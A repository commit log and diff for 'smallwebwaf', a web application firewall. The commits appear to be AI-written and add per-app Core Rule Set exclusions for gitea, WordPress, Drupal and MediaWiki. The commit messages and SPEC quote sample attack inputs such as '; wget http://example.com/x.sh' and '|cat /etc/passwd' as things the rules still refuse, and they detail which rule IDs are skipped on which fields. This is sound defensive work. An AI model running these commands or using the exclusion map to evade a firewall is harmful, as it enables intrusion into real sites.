Author SHA1 Message Date
sneak 348b881818 SWW_APPS: an app's Core Rule Set fixes apply only to the hostnames that serve it (closes #220)
check / check (push) Failing after 25m20s
Each app's fixes are one .conf file and one entry in apps. They apply
only while Inspect has set the app's transaction variable, such as
tx.app_gitea. SWW_APPS names each hostname's apps. A hostname gets only
its apps' fixes; while SWW_APPS is unset, every hostname gets every
app's fixes.

A hostname in SWW_APPS that is not a DNS name, such as *.example.com,
stops the start. Unset, SWW_APPS is logged at start as null; set
empty, as "".

Model: opus-5-5
2026-11-10 02:49:37 +00:00
clawbot 56d6a12cc2 Core Rule Set: gitea's repository search exclusion skips /api/v2/search (closes #266)
check / check (push) Successful in 7m49s
Rule 900600 took paths of an owner named api for gitea's search, issues,
pull requests and commit search inside a repository. /api/v2/search,
Mastodon's search, /api/v2/issues and /api/v2/pulls were among them, so
attacks in q scored 0 there. gitea has no owner named api, so a chained
condition now leaves out each of those paths under /api/<x>/. Go's regular
expressions have no lookahead, so the exclusion cannot be written inside
the pattern.

Model: opus-5-5
2026-11-10 03:26:14 +01:00
clawbot 922fe0cf71 Core Rule Set: MediaWiki's log, generator and watchlist fields pass (closes #258)
check / check (push) Failing after 16m32s
On /api.php, letitle and the generator fields gapto, gapprefix, gaifrom,
gaiprefix and geuquery skip 930120, 932120, 932250 and 932260, as the
fields they stand in for do.

On MediaWiki's pages, wpTitles from Special:EditWatchlist/raw, one title
per line, always skips 930120, 932120 and 932250. It skips 932125,
932230, 932235, 932260 and 932380 only when the body sends it once and it
holds no ";", "|", "&", backtick or "{", checked by a phase 2 rule. So
"; wget http://example.com/x.sh" is still refused.

Recorded from MediaWiki 1.46.2 at the digest the first MediaWiki change
used.

Model: opus-5-5
2026-11-10 03:09:24 +01:00
clawbot d70fb34f40 Core Rule Set: Drupal's JSON password reset takes an address (closes #262)
check / check (push) Failing after 5m8s
POST /user/password?_format=json with a mail of python3@example.com or
powershell@example.com was refused while bodies are read. On that path,
the JSON field mail now skips 932120 and 932260, the two rules the
recorded addresses set off, unless the query has a json.mail parameter.
Recorded from Drupal 11.4.11.

Model: opus-5-5
2026-11-10 03:09:17 +01:00
clawbot c1bb813a5e Core Rule Set tests: name repeated attack strings (closes #263)
check / check (push) Failing after 4m4s
The Drupal and MediaWiki tests repeated the SQL and script attack strings,
which goconst reports. They now use the existing constant injection and a
new constant scriptTag.

Model: opus-5-5
2026-11-10 01:26:07 +01:00
clawbot 9aa5b303cf Core Rule Set: MediaWiki's ordinary requests pass by default (closes #237)
check / check (push) Failing after 1m48s
Adds mediawiki.conf, the eleventh change: on MediaWiki's paths, the fields
that carry a search, a title, a name, a file name or an address skip the
four rules that read them as commands or system files, and the wikitext
fields skip the rules that refused saving a page. The reasons on the admin
pages skip only 930120 and 932120. /index.php counts as MediaWiki's only
with a page title in its query or after its path, since WordPress serves it
too. The requests recorded from MediaWiki 1.46.2, with and without short
URLs and on the admin pages, pass at the defaults and while bodies are
read. The app tests share the check of recorded requests and the list of
hard values.

Model: opus-5-5
2026-11-10 00:58:15 +01:00
clawbot e29dacad63 Core Rule Set: Drupal's JSON password reset passes (closes #259)
check / check (push) Successful in 4m2s
POST /user/password?_format=json with a name of python3, powershell,
ls -la or .htaccess was refused while bodies are read. On that path,
the JSON field name now skips 930120, 932120, 932250 and 932260, the
four rules those recorded names set off, unless the query has a
json.name parameter. Recorded from Drupal 11.4.11.

Model: opus-5-5
2026-11-10 00:58:08 +01:00
clawbot 9e7a7e60c7 Tests no longer connect to test servers they closed (closes #257)
check / check (push) Failing after 2m5s
Four tests closed a test server or stopped discriminator, and then
connected to its port. Another test process could take that port in
between and receive the connection.

- TestUnreachableRouteWatchLetsTheRequestThroughAndSaysWhy and
  TestUnreachableRoutewatchFailsTheQueryAndTheLogOmitsTheClient, formerly
  TestRefusedConnection..., point routewatch at 224.0.0.1, a multicast
  address to which TCP cannot connect.
- TestStalledRemoteLogEndpointHoldsUpNoRequest keeps its endpoint open
  and closes each connection it takes, instead of closing the endpoint.
- TestTheSiteAnswersWhileDiscriminatorIsStoppedAndStartedAgain gives
  rproxy an address the test holds throughout. The test forwards each
  connection there to the running discriminator, and closes it while
  discriminator is stopped.

No change to non-test code.

Model: opus-5-5
2026-11-10 00:58:01 +01:00
clawbot c86df7610d Core Rule Set tests: load each set of settings once (closes #252)
check / check (push) Successful in 4m12s
Tests now share one Core Rule Set for each set of settings, loaded once
through sync.OnceValues in shared(). Exclusions-file tests and
TestCorazaWritesNoFile still load their own: loading is what they check.

Loading was not most of the time: the WordPress and Drupal recorded
requests, inspected one after another, were. Each recorded request now
runs as its own parallel subtest, with the same request and outcome.

Model: opus-5-5
2026-11-09 23:57:54 +01:00
clawbot 3a37f82e34 Core Rule Set: more of Drupal's ordinary fields pass (closes #244)
check / check (push) Failing after 17m27s
Names, searches and the page to return to on more Drupal paths skip
the rules that misfire on them: 930120, 932120, 932250 and 932260,
plus 932230 and 932235 on destination only. An email address skips
930120, 932120 and 932260; the oEmbed url only 930120 and 932120.
Every Drupal path may carry a language prefix: a first segment of two
or three lowercase letters, such as /fr. Requests recorded from Drupal
11.4.11 with plain words, python3, powershell, ls -la and .htaccess are
added to the test data; tests show attacks and "; wget ..." still
refused on each new field.

Model: opus-5-5
2026-11-09 23:09:15 +01:00
21 changed files with 3041 additions and 395 deletions

No files matched your search

+19 -13
View File
@@ -280,6 +280,7 @@ Every setting the code reads, with its default:
| `SWW_WAF_EXEMPT_PATHS` | empty | Path prefixes the Core Rule Set does not inspect. |
| `SWW_WAF_BODY_LIMIT` | `off` | How much of a request body the Core Rule Set reads, a size up to `64K`; `off` reads none. |
| `SWW_CORE_RULE_SET_EXCLUSIONS_FILE` | unset | A file of Core Rule Set exclusions, as Coraza directives, that switch rules off for some fields or paths only. |
| `SWW_APPS` | unset | The apps each hostname serves, `drupal`, `gitea`, `mediawiki` or `wordpress`, such as `git.example.com:gitea;blog.example.com:wordpress`; only those apps' fixes apply there. Unset, every app's fixes apply to every hostname. |
| `SWW_BLOCKLIST_URLS` | empty | Blocklists to fetch, text files of addresses and netblocks one to a line, such as `https://www.spamhaus.org/drop/drop.txt`. |
| `SWW_BLOCKLIST_REFRESH` | `24h` | How long after a list was last tried it is fetched again, `1h` or more. |
| `SWW_BLOCKLIST_ACTION` | `deny` | What a client on a blocklist gets: `deny`, `limit:<percent>` of every limit, or `log`. |
@@ -581,19 +582,24 @@ client's limits by tag. See "Request tags" in [`SPEC.md`](SPEC.md).
headers of every request, and no body unless `SWW_WAF_BODY_LIMIT` is set. In
front of a code forge, bodies carry what people write and publish, which the
rules take for attacks.
- `smallwebwaf` changes the Core Rule Set in ten ways so that ordinary requests
get through to a code forge, to WordPress and to Drupal. They include git over
HTTP and sign-in through Git Credential Manager on a code forge, and saving a
post from the block editor on WordPress. On gitea's own paths, its searches,
file names and branch names get through too. On WordPress's own paths, its
searches, names and file names do. On Drupal's own paths, the page to return
to, its searches and its names get through too. No setting undoes the changes;
"Attack detection" in [`SPEC.md`](SPEC.md) lists them.
- These apps work out of the box at the default settings, and their recorded
ordinary requests pass the Core Rule Set:
- gitea;
- WordPress;
- Drupal.
- `smallwebwaf` changes the Core Rule Set in six ways so that it lets ordinary
requests to a code forge through, such as git over HTTP and sign-in through
Git Credential Manager. No setting undoes the changes; "Attack detection" in
[`SPEC.md`](SPEC.md) lists them.
- Each supported app also has its own fixes, which let its ordinary requests
through. Its recorded ordinary requests pass the Core Rule Set at the default
settings. The supported apps, by their names in `SWW_APPS`, are:
- `gitea`, whose fixes let its searches, file names and branch names
through;
- `wordpress`, whose fixes let through its searches, its names, its file
names and a post saved from the block editor;
- `drupal`, whose fixes let through the page to return to, its searches and
its names;
- `mediawiki`, whose fixes let through its searches, its page titles, its
names and its wikitext.
- `SWW_APPS` names the apps each hostname serves. A hostname gets only its own
apps' fixes, and a hostname it does not list gets none. Unset, every app's
fixes apply to every hostname.
- `SWW_CORE_RULE_SET_EXCLUSIONS_FILE` switches single rules off for an app's own
fields or paths.
- Rule files are plain text, one rule to a line, edited by hand and read again
+276 -147
View File
@@ -81,8 +81,8 @@ to them.
of bans is full.
- `internal/rules`: reads the rule files at start and again when they
change, and tells which rules a request matches.
- `internal/coreruleset`: the Core Rule Set, with the ten changes listed
under "Attack detection", as Coraza directives.
- `internal/coreruleset`: the Core Rule Set, with the six changes and the
apps' fixes listed under "Attack detection", as Coraza directives.
- `internal/lookup`: looks clients up through GeoJS or in the lookup
database.
- `internal/reputation`: fetches the lists, asks the DNS blocklists and
@@ -676,8 +676,8 @@ files, the limits and the bans still apply to the client that sends it.
- `SWW_CORE_RULE_SET_EXCLUSIONS_FILE` names a file of exclusions, written as
Coraza directives. An exclusion switches one rule off for some fields or paths
only, where `SWW_WAF_DISABLED_RULES` switches it off everywhere. The file
holds an app's own exclusions; the eighth, ninth and tenth changes below hold
gitea's, WordPress's and Drupal's.
holds an app's own exclusions; the apps' fixes below hold gitea's,
WordPress's, Drupal's and MediaWiki's.
- `discriminator` loads the file after `smallwebwaf`'s own setup rules and
before the Core Rule Set's rules. The Core Rule Set loads its own
`REQUEST-900-EXCLUSION-RULES-BEFORE-CRS.conf` at the same point.
@@ -723,9 +723,9 @@ files, the limits and the bans still apply to the client that sends it.
scanner from an ordinary client. In front of a code forge, registry and git
clients get `404` and `401` by design, hundreds of times a minute.
`smallwebwaf` changes the Core Rule Set 4.25.0 in ten ways, since in front of
gitea, WordPress and Drupal it would otherwise refuse ordinary requests. The
changes hold in front of every app, and no setting undoes them:
`smallwebwaf` changes the Core Rule Set 4.25.0 in six ways, since in front of
gitea it would otherwise refuse ordinary requests. The changes hold in front of
every app, and no setting undoes them:
1. `PUT`, `PATCH` and `DELETE` are allowed methods besides `GET`, `HEAD`, `POST`
and `OPTIONS`. APIs, container image pushes and package uploads use them.
@@ -742,8 +742,52 @@ changes hold in front of every app, and no setting undoes them:
and tea, which gitea registers for OAuth sign-in, ask to be sent back to
`http://127.0.0.1` on the user's own machine. The server never fetches that
address.
4. Ten query parameters are not checked against the Core Rule Set's lists of
system files (930120), shell paths (932160) and command names (932260):
4. `Referer` is not checked for a Unix command given without arguments (932340),
for Java starting a process (944110) or for a Java class name (944130).
`Referer` names the page a request comes from, on everything that page loads
and on every link followed from it. The Core Rule Set takes some page
addresses for attacks:
- a search for `env`;
- OpenJDK's `Runtime.java`, whose path holds both `runtime` and `java.`;
- a file named `java.lang.String.md`.
Every request from such a page would be refused. `Referer` keeps the other
rules, except after some gitea searches (gitea's fixes). An app that passes
`Referer` to a shell must check it itself.
5. Responses are not inspected. A raw file from a repository, such as a shell
script, looks to the response rules like source code leaking from the server.
6. The `from` parameter of a container registry's upload path,
`/v2/<image>/blobs/uploads/`, is not checked for command names (932260). When
a push reuses a layer, `from` names the image the layer comes from. An image
such as `owner/python3-app` would have that push refused.
Each supported app also has its own fixes, which let its ordinary requests
through. `SWW_APPS` says which hostnames get which app's fixes:
- `SWW_APPS` holds entries separated by semicolons. Each is a hostname, a colon,
then one or more apps separated by commas, for example
`git.example.com:gitea;blog.example.com:wordpress`.
- The request's `Host` is matched by exact name, without its port and without
regard to case. There are no wildcards.
- A hostname not listed gets no app's fixes, so every rule checks it in full.
Set empty, `SWW_APPS` lists no hostname.
- Unset, every app's fixes hold for every hostname. An app's fixes then weaken
the check of any other app that serves the same paths or fields.
- Any of these mistakes stops the start:
- an unknown app;
- a hostname that is not a DNS name, such as `*.example.com`;
- a hostname listed twice;
- an app listed twice for one hostname;
- an entry without a colon.
The apps supported are `drupal`, `gitea`, `mediawiki` and `wordpress`. Each
app's fixes are in one file, such as `internal/coreruleset/gitea.conf`, and one
entry of `apps` in `internal/coreruleset/coreruleset.go`. gitea's fixes are:
1. Ten query parameters are not checked against the Core Rule Set's lists of
system files (930120), shell paths (932160) and command names (932260), on
any path:
- `path`, `files`, `skip-to` and `sub_path`;
- `ref`, `sha`, `branch` and `workflow`;
- `artifactName` and `redirect_to`.
@@ -756,42 +800,19 @@ changes hold in front of every app, and no setting undoes them:
catch reaches the app, such as the command `|cat /etc/passwd`. Path
traversal, SQL and script injection, and PHP, Java and Node.js code are
still refused there. Other parameters keep all three rules, except on the
gitea, WordPress and Drupal paths the eighth, ninth and tenth changes name.
An app that uses one of these parameters as a file on the server, or passes
it to a shell, must check the value itself. A rule file can refuse it
instead.
paths named in gitea's third fix, in WordPress's fixes, in Drupal's fixes
and in MediaWiki's fixes.
5. Two cookies are left out, and `Referer` keeps fewer rules:
- The Core Rule Set reads the request without the `gitea_flash` and
`redirect_to` cookies. gitea puts a message naming what was just done into
`gitea_flash`. It puts into `redirect_to` the page to return to after
signing in. The Core Rule Set takes file names in them, such as
`package.json`, for attacks. A browser sends such a cookie with every
request until gitea replaces it. gitea cannot replace it while those
requests are refused, so one refusal would keep the browser out of the
whole site. gitea shows the message with any script removed and returns
only to its own pages. Every other cookie is read in full. An app that
reads a cookie of either name must check it itself.
- `Referer` is not checked for a Unix command given without arguments
(932340), for Java starting a process (944110) or for a Java class name
(944130). `Referer` names the page a request comes from, on everything
that page loads and on every link followed from it. The Core Rule Set
takes some page addresses for attacks:
- a search for `env`;
- OpenJDK's `Runtime.java`, whose path holds both `runtime` and `java.`;
- a file named `java.lang.String.md`.
Every request from such a page would be refused. `Referer` keeps the
other rules, except after some gitea searches (the eighth change). An
app that passes `Referer` to a shell must check it itself.
6. Responses are not inspected. A raw file from a repository, such as a shell
script, looks to the response rules like source code leaking from the server.
7. The `from` parameter of a container registry's upload path,
`/v2/<image>/blobs/uploads/`, is not checked for command names (932260). When
a push reuses a layer, `from` names the image the layer comes from. An image
such as `owner/python3-app` would have that push refused.
8. On gitea's paths, some fields skip the rules that refused ordinary gitea
2. The Core Rule Set reads the request without the `gitea_flash` and
`redirect_to` cookies. gitea puts a message naming what was just done into
`gitea_flash`. It puts into `redirect_to` the page to return to after signing
in. The Core Rule Set takes file names in them, such as `package.json`, for
attacks. A browser sends such a cookie with every request until gitea
replaces it. gitea cannot replace it while those requests are refused, so one
refusal would keep the browser out of the whole site. gitea shows the message
with any script removed and returns only to its own pages. Every other cookie
is read in full.
3. On gitea's paths, some fields skip the rules that refused ordinary gitea
requests there. They are the fields where gitea sends a search, a file name
or a branch name. `internal/coreruleset/gitea.conf` lists each rule and the
request it refused. The fields are:
@@ -809,8 +830,7 @@ changes hold in front of every app, and no setting undoes them:
- packages.
A user's or an organisation's page is any path of one segment, so on
every such path, on any app, `q` skips these three rules, for example on
`/search`.
every such path `q` skips these three rules, for example on `/search`.
Some of these searches also skip the rule for Java class names (944130),
which refused `org.apache.commons.logging`.
@@ -848,121 +868,230 @@ changes hold in front of every app, and no setting undoes them:
`actions/upload-artifact@v3` (920450).
Elsewhere these fields keep every rule. The paths are those of gitea at the
site root. An app other than gitea that serves one of them must check these
fields itself.
site root.
9. On WordPress's paths, some fields skip the rules that refused ordinary
WordPress requests there. `internal/coreruleset/wordpress.conf` lists each
rule and the request it refused. The REST API has four addresses:
- `/wp-json/...`
- `/index.php/wp-json/...`
- `/index.php?rest_route=/...`
- `/?rest_route=/...`
WordPress's fixes: on WordPress's paths, some fields skip the rules that refused
ordinary WordPress requests there. `internal/coreruleset/wordpress.conf` lists
each rule and the request it refused. The REST API has four addresses:
The fields are:
- The header `X-HTTP-Method-Override` on any address of the REST API
(920450). The block editor saves a post with `POST` and names `PUT` in
this header.
- Three groups of fields skip the rules on system files and commands
(930120, 932120, 932250, 932260). The fields hold searches, names and
addresses of WordPress's own pages, and any of them can hold any word. The
groups are:
- On all of `/wp-admin/` and on `/wp-login.php`:
- the searches `s`, `search`, `q` and `term`;
- the names `tag`, `category_name`, `plugin`, `checked[]`, `theme`
and `stylesheet`;
- the name of a plugin's settings page in `page`;
- the addresses `url`, `return`, `redirect_to`, `wp_http_referer`
and `_wp_http_referer`.
- On every REST API route under `/wp/v2/` and on the route
`/oembed/1.0/embed`: `search`, `term`, `slug` and `url`.
- On `/`, `/index.php`, `/page/N/` and `/index.php/page/N/`: `s` and
`tag`.
- `/wp-json/...`
- `/index.php/wp-json/...`
- `/index.php?rest_route=/...`
- `/?rest_route=/...`
The addresses of the first group also skip the rule on Unix commands
(932235), because an address repeats the search it came from. The other
fields of the groups keep that rule.
The fields are:
- On all of `/wp-admin/` and on `/wp-login.php`, these names skip the lists
of PowerShell commands and command names (932120, 932260):
- the name of a template in `p` and `postId` of the site editor;
- the name of a plugin to install in `slug`.
- The header `X-HTTP-Method-Override` on any address of the REST API (920450).
The block editor saves a post with `POST` and names `PUT` in this header.
- Three groups of fields skip the rules on system files and commands (930120,
932120, 932250, 932260). The fields hold searches, names and addresses of
WordPress's own pages, and any of them can hold any word. The groups are:
- On all of `/wp-admin/` and on `/wp-login.php`:
- the searches `s`, `search`, `q` and `term`;
- the names `tag`, `category_name`, `plugin`, `checked[]`, `theme` and
`stylesheet`;
- the name of a plugin's settings page in `page`;
- the addresses `url`, `return`, `redirect_to`, `wp_http_referer` and
`_wp_http_referer`.
- On every REST API route under `/wp/v2/` and on the route
`/oembed/1.0/embed`: `search`, `term`, `slug` and `url`.
- On `/`, `/index.php`, `/page/N/` and `/index.php/page/N/`: `s` and `tag`.
WordPress writes these names as slugs, such as `htaccess` and `ls-la`.
The addresses of the first group also skip the rule on Unix commands
(932235), because an address repeats the search it came from. The other
fields of the groups keep that rule.
- `url` on the REST API routes `/wp-block-editor/v1/url-details` and
`/oembed/1.0/proxy`, for the lists of system files and PowerShell commands
(930120, 932120). The block editor's link previews and embeds send an
address in this field.
- On all of `/wp-admin/` and on `/wp-login.php`, these names skip the lists of
PowerShell commands and command names (932120, 932260):
- the name of a template in `p` and `postId` of the site editor;
- the name of a plugin to install in `slug`.
- `_wp_http_referer` on `/wp-admin/upload.php`, for a Unix command given
without arguments (932340). The media list's own address ends in `&ps`.
- `file` on `/wp-admin/plugin-editor.php` and `/wp-admin/theme-editor.php`,
for the lists of system files, shell paths, command names and JavaScript
names (930120, 932120, 932160, 932260, 941180).
- These fields of a body. Each applies only when the query has no parameter
of that name, so it matters only while `SWW_WAF_BODY_LIMIT` is set:
- `content` of a post, a page, a template or a template part saved
through the REST API. It holds HTML and any code it shows.
- `content` of a reply to a comment sent to `admin-ajax.php`.
- `newcontent` of a plugin's or a theme's file saved from its editor,
which is PHP.
- `pwd` when signing in, for the list of system files (930120).
- `title`, `excerpt` and `name` in a JSON body sent to any REST API
route under `/wp/v2/`, for the rules on system files and commands
(930120, 932120, 932250, 932260).
- `slug` in a JSON body sent to any REST API route under `/wp/v2/`, for
the lists of PowerShell commands and command names (932120, 932260).
- `url` on `/wp-comments-post.php`, the address of a commenter's site,
for the lists of system files and PowerShell commands (930120,
932120).
WordPress writes these names as slugs, such as `htaccess` and `ls-la`.
Elsewhere this change does not apply. The paths are those of WordPress at
the site root. An app other than WordPress that serves one of them must
check these fields itself.
- `url` on the REST API routes `/wp-block-editor/v1/url-details` and
`/oembed/1.0/proxy`, for the lists of system files and PowerShell commands
(930120, 932120). The block editor's link previews and embeds send an address
in this field.
10. On Drupal's paths, some fields skip the rules that refused ordinary Drupal
requests there. `internal/coreruleset/drupal.conf` lists each rule and the
request it refused. These query fields skip the lists of system files and
command names (930120, 932120, 932250, 932260):
- On every page under `/admin`: `title`, `name`, `user`, `filename`,
`filemime`, `info`, `subject`, `author_name`, `search`, `q` and
`destination`.
- `destination` on the pages Drupal links to with one, such as
`/node/1/edit`, `/user/login` and `/user/logout`.
- `keys` on `/search` and the pages under it.
- `q` on `/entity_reference_autocomplete/`.
- Every `filter[...]` field on `/jsonapi/`.
- `_wp_http_referer` on `/wp-admin/upload.php`, for a Unix command given without
arguments (932340). The media list's own address ends in `&ps`.
- `file` on `/wp-admin/plugin-editor.php` and `/wp-admin/theme-editor.php`, for
the lists of system files, shell paths, command names and JavaScript names
(930120, 932120, 932160, 932260, 941180).
- These fields of a body. Each applies only when the query has no parameter of
that name, so it matters only while `SWW_WAF_BODY_LIMIT` is set:
- `content` of a post, a page, a template or a template part saved through
the REST API. It holds HTML and any code it shows.
- `content` of a reply to a comment sent to `admin-ajax.php`.
- `newcontent` of a plugin's or a theme's file saved from its editor, which
is PHP.
- `pwd` when signing in, for the list of system files (930120).
- `title`, `excerpt` and `name` in a JSON body sent to any REST API route
under `/wp/v2/`, for the rules on system files and commands (930120,
932120, 932250, 932260).
- `slug` in a JSON body sent to any REST API route under `/wp/v2/`, for the
lists of PowerShell commands and command names (932120, 932260).
- `url` on `/wp-comments-post.php`, the address of a commenter's site, for
the lists of system files and PowerShell commands (930120, 932120).
`destination` also skips 932230 and 932235, because it holds the address of
a page of results.
Elsewhere WordPress's fixes do not apply. The paths are those of WordPress at
the site root.
These fields of a body skip the rules that refused them:
- On the node, comment and media forms, for 930120, 932120, 932250 and
932260:
- the title;
- the summary;
- the tags;
- the address;
- the revision note;
- the comment subject;
- the media name;
- the image text.
- `title`, `subject` and `body.summary` through JSON:API, for the same four
rules.
- The body and comment body on those forms and through JSON:API, which hold
HTML and any code it shows.
- `pass` when signing in (930120, 932120, 932250, 932260).
Drupal's fixes: on Drupal's paths, some fields skip the rules that refused
ordinary Drupal requests there. `internal/coreruleset/drupal.conf` lists each
rule and the request it refused. These query fields skip the lists of system
files and command names (930120, 932120, 932250, 932260):
These exclusions matter only while `SWW_WAF_BODY_LIMIT` is set. None applies
when the query has a parameter of the same name.
- On every page under `/admin`: `title`, `name`, `user`, `filename`, `filemime`,
`info`, `subject`, `author_name`, `search`, `q` and `destination`.
- `destination` on the pages Drupal links to with one, such as these:
- `/node/1/edit`;
- `/user/login`;
- `/node/1/revisions/2/revert`;
- `/block/add/basic`;
- `/big_pipe/no-js`.
- `keys` on `/search` and the pages under it.
- `q` on these autocompletes:
- `/entity_reference_autocomplete/`;
- `/ckeditor5/{editor}/entity-link-suggestions`;
- `/block-category/autocomplete`.
- Every `filter[...]` field on `/jsonapi/`.
- `name` on `/user/password`, `/media-library` and `/views/ajax`, in the query
or a body.
Elsewhere these fields keep every rule. The paths are those of Drupal at the
site root. An app other than Drupal that serves one of them must check these
fields itself.
`destination` also skips 932230 and 932235, because it holds the address of a
page of results. `url` on `/media/oembed`, the address of a video, skips only
930120 and 932120.
The parameter and cookie names in these changes are matched without regard to
case, as Coraza matches them.
These fields of a body skip the rules that refused them:
- On the node, comment and media forms, for 930120, 932120, 932250 and 932260:
- the title;
- the summary;
- the tags;
- the address;
- the revision note;
- the comment subject;
- the media name;
- the image text.
- On the tag, custom block and contact forms, for the same four rules:
- the tag's name and description;
- the block description and body;
- the subject and message of a contact message.
- These fields through JSON:API, for the same four rules:
- `title`;
- `subject`;
- `body.summary`;
- `name`;
- `revision_log`;
- `info`;
- `description.value`.
- The title saved through Drupal's JSON format on `/node/{id}`, for the same
four rules.
- The body and comment body on the node and comment forms and through JSON:API,
which hold HTML and any code it shows.
- `name` and `pass` when signing in (930120, 932120, 932250, 932260).
- `name` when resetting a password through Drupal's JSON format on
`/user/password`, for the same four rules.
- `mail` in that same reset, for 932120 and 932260 only.
- `name` when signing up, editing an account and commenting without an account,
for the same four rules.
- `mail` on those forms, for 930120, 932120 and 932260 only.
These exclusions matter only while `SWW_WAF_BODY_LIMIT` is set. None applies
when the query has a parameter of the same name.
Elsewhere these fields keep every rule. The paths are those of Drupal at the
site root, with or without a language prefix such as `/fr`. Such a prefix is any
first path segment of two or three lowercase letters, optionally followed by a
hyphen and more letters, so `/api` counts too.
MediaWiki's fixes: on MediaWiki's paths, some fields skip the rules that refused
ordinary MediaWiki requests there. `internal/coreruleset/mediawiki.conf` lists
each rule and the request it refused. These fields skip the lists of system
files and command names (930120, 932120, 932250, 932260), in the query or the
body:
- On MediaWiki's pages, which are `/index.php` and the paths under `/index.php/`
and `/wiki/`:
- the searches `search` and `ilsearch`;
- the titles `title`, `page` and `target`;
- `from`, `to` and `prefix`, which limit a list of pages;
- the user names `user`, `username` and `wpTarget`;
- the file names `filename` and `wpDestFile`;
- `returnto` and `returntoquery`, the page and query to go back to after
signing in.
- On `/api.php`:
- the searches `search`, `srsearch` and `pssearch`;
- the titles `titles`, `title`, `page` and `bltitle`;
- `from` and `to`, the titles of a page being moved;
- the starts of lists `apfrom`, `apto`, `apprefix`, `aifrom`, `aiprefix`,
`aufrom` and `auprefix`;
- `letitle`, the page whose log is listed;
- `euquery`, an address;
- the fields a generator sends in place of the fields above, each with a `g`
in front:
- `gsrsearch` and `gpssearch`;
- `gapfrom`, `gapto` and `gapprefix`;
- `gaifrom` and `gaiprefix`;
- `gbltitle`;
- `geuquery`;
- the user names `ucuser`, `bkusers` and `user`;
- `summary`, `sectiontitle`, `filename`, `comment` and `reason`;
- `lgname`, `lgpassword`, `username` and `password`, for signing in.
- `q` on `/rest.php/` and the paths under it.
`modules` on `/load.php` skips 930120 alone, because it lists the scripts and
styles a page loads.
These fields of a body skip the rules that refused them:
- On MediaWiki's pages, for the same four rules:
- `wpSummary`, the summary of an edit;
- `wpUploadDescription`, the description of an uploaded file;
- `wpName` and `wpPassword`, for signing in;
- `wpOldTitle`, `wpNewTitleMain` and `wpReason`, for moving a page.
- `comment` in the JSON body of `/rest.php/`, for the same four rules.
- On MediaWiki's pages, for 930120 and 932120 alone, the reasons on the admin
pages:
- `wpReason-other`, for blocking a user;
- `user-reason`, for changing a user's groups;
- `mwProtect-reason`, for protecting a page.
- On MediaWiki's pages, `wpTitles`, the list of watched pages that
`Special:EditWatchlist/raw` sends, one title per line. It always skips 930120,
932120 and 932250. It skips 932125, 932230, 932235, 932260 and 932380 only
when it holds no `;`, `|`, `&`, backtick or `{`. A title starting with a
command name, such as `Python3 notes`, passes. So does a command alone on a
line, such as `wget http://example.com/x.sh`. A command such as
`; wget http://example.com/x.sh` is still refused. So is a list that mixes a
title holding one of these characters with a title starting with a command
name.
- The wikitext of a page, which holds templates, tables and any code it shows:
- `wpTextbox1` on MediaWiki's pages;
- `text`, `appendtext` and `prependtext` on `/api.php`;
- `source` in the JSON body of `/rest.php/`.
These body exclusions matter only while `SWW_WAF_BODY_LIMIT` is set. None
applies when the query has a parameter of the same name.
The names of uploaded files skip 932180 on MediaWiki's pages and on `/api.php`,
so a picture named `Notes on .htaccess.png` can be uploaded. MediaWiki refuses a
file whose extension it does not allow.
`/index.php` itself counts as MediaWiki's only when its query has a `title`, as
in `/index.php?title=Main_Page`. WordPress serves `/index.php` too. A wiki
without short URLs serves its pages under `/index.php/`, as in
`/index.php/Main_Page`, and its sign-in and upload forms post there.
Elsewhere these fields keep every rule. The paths are those of MediaWiki at the
site root or under `/w/`.
Each app's fixes switch rules off for some of its fields and cookies. Any other
app on a hostname that gets those fixes must check those fields and cookies
itself.
The parameter names in these changes and fixes are matched without regard to
case, and the cookie names exactly.
### Ban lengths, response and scope
+18
View File
@@ -255,6 +255,24 @@ the request first.
a range. So does a directive that removes or changes rules as the file loads,
such as `SecRuleRemoveById`, since none of the Core Rule Set's rules is loaded
yet. It has no `_FILE` form.
- `SWW_APPS` (default unset): the apps each hostname serves. A request gets the
fixes of its hostname's apps only (see "Attack detection" in
[`SPEC.md`](../SPEC.md)).
- Entries are separated by semicolons. Each is a hostname, a colon, then one
or more apps separated by commas, for example
`git.example.com:gitea;blog.example.com:wordpress`.
- The apps supported are `drupal`, `gitea`, `mediawiki` and `wordpress`.
- The request's `Host` is matched by exact name, without its port and
without regard to case. There are no wildcards.
- A hostname not listed gets no app's fixes, so every rule checks it in
full. Set empty, `SWW_APPS` lists no hostname.
- Unset, every app's fixes apply to every hostname.
- Any of these mistakes stops the start:
- an unknown app;
- a hostname that is not a DNS name, such as `*.example.com`;
- a hostname listed twice;
- an app listed twice for one hostname;
- an entry without a colon.
- `SWW_ERROR_BURST_THRESHOLD` (default `30`): the most refusals a client may get
in a minute from a rule file, a trap path or the Core Rule Set, a count or
`off`. The next one bans the client (see "Attack detection" in `SPEC.md`).
+92 -1
View File
@@ -29,6 +29,7 @@ import (
"sneak.berlin/go/smallwebwaf/internal/alerts"
"sneak.berlin/go/smallwebwaf/internal/anomaly"
"sneak.berlin/go/smallwebwaf/internal/coreruleset"
"sneak.berlin/go/smallwebwaf/internal/remotelog"
)
@@ -235,6 +236,11 @@ type Config struct {
WAFExemptPaths []string
WAFBodyLimit int64
CoreRuleSetExclusionsFile string
// Apps are the names of the apps each hostname serves, by hostname in
// lowercase (SWW_APPS): a request gets only its hostname's apps' fixes
// to the Core Rule Set. Apps is nil while SWW_APPS is unset, and every
// request gets every app's fixes.
Apps map[string][]string
// TrapPaths are the paths a request for which is a clear sign of
// attack (SWW_TRAP_PATHS), each starting with / and without a ?.
TrapPaths []string
@@ -404,6 +410,11 @@ var (
errNotTrapPath = errors.New(
"is not a path starting with / and without a ?, such as /wp-login.php",
)
errNotAppsEntry = errors.New(
"is not a hostname, : and a list of apps, such as git.example.com:gitea",
)
errNotHostname = errors.New("is not a DNS name such as git.example.com")
errNotApp = errors.New("is not an app sww has fixes for; the apps are")
errNotWAFMode = errors.New("is not off, detect or block")
errNotParanoiaLevel = errors.New("is not a paranoia level, from 1 to 4")
errNotRuleID = errors.New(
@@ -577,6 +588,7 @@ func FromEnvironment(
WAFBodyLimit: env.wafBodyLimit("SWW_WAF_BODY_LIMIT", off),
CoreRuleSetExclusionsFile: env.filePath(
"SWW_CORE_RULE_SET_EXCLUSIONS_FILE"),
Apps: env.apps("SWW_APPS"),
TrapPaths: env.trapPaths("SWW_TRAP_PATHS"),
ErrorBurstThreshold: env.count("SWW_ERROR_BURST_THRESHOLD", "30"),
LogRemoteURL: env.logRemoteURL("SWW_LOG_REMOTE_URL"),
@@ -832,6 +844,25 @@ func (e *environment) pathPrefixes(name, defaultValue string) []string {
return prefixes
}
